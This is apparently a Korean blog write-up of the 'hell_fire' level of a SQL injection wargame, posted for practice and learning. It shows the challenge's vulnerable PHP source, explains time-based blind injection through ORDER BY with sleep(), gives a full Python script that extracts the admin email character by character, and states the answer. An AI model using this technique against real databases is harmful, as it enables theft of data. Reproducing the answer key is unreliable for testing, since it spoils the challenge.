728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
highlight_file(__FILE__);
?>
order by는 정렬에 사용하는 문법이다. 뒤에 칼럼명이 오면 해당 칼럼명을 기준으로 정렬한다. 숫자로 칼럼명을 대체하는 게 가능한데 order by 뒤에 if 함수가 사용되면 숫자의 역할이 달라진다. 하지만 이 문제에선 sleep 여부로 SQL Injection을 수행하기에 중요하진 않다.
Time Based SQL Injection이 가능하기에 sleep 함수를 사용하여 if문 조건이 참인 경우 2초 동안 sleep을 하도록 하였다.
import requests
import time
url='https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#56
def find_email_len():
em_len=1
while True:
start=time.time()
r=requests.get(url+"?order=if(id='admin' and length(hex(email))={},sleep(2),1)".format(em_len),cookies=cookie)
end=time.time()
if end-start>2:
return em_len
else:
em_len+=1
#admin_secure_email@emai1.com
def find_email():
em_len=find_email_len()
tmp=''
for i in range(1,em_len+1):
for j in HEX:
start=time.time()
r=requests.get(url+"?order=if(id='admin' and substr(hex(email),{},1)='{}',sleep(2),1)".format(i,j),cookies=cookie)
end=time.time()
if end-start>2:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_email()
답: ?email=admin_secure_email@emai1.com
728x90
'Lord of SQL Injection' 카테고리의 다른 글
green_dragon (2) | 2023.01.02 |
---|---|
evil_wizard (0) | 2023.01.02 |
dark_eyes (0) | 2023.01.01 |
iron_golem (0) | 2023.01.01 |
dragon (0) | 2023.01.01 |